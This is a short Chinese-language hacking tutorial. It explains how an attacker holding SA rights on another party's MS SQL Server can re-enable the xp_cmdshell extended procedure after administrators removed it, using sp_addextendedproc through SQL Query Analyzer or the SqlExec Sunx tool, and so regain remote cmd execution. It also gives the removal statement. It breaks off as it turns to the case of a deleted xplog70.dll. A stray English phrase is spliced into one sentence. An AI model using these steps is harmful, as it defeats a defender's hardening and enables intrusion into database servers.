前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
第一部分:
有關去掉xp_cmdshell來保護系統的分析總結:
首Crowdsourced Security Testing道一下語句:
1.去掉xp_cmdshell擴充過程的方法是使用如下語句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and
OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell擴充過程的方法是使用如下語句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
現在看看現象:
我們在取得SA許可權後遠程用Sqlexec執行cmd命令,出現提示SQL_ERROR,那麼很可能是去掉了xp_cmdshell。
現在來看看被去掉xp_cmdshell後恢複的兩種方法:
方法一、使用SQL Query Analyzer串連對方後直接寫入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format選項裡填上%s,在CMD選項裡輸入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者對Sql2000情況下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version來去除xp_cmdshell的方法和加的時候選擇條件一樣,然後輸入sp_dropextendedproc 'xp_cmdshell'就可以了
第二部分:
假如對方已經把xplog70.dll刪除或者改了名,我們來用下面的方法繼續我們的hack任務:
]當出現如下現象暗示代表很有可能是xplog70.dll刪除或者改了名。
在查詢分析器中寫入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示資料庫中已存在名為'xp_cmdshell'的對象。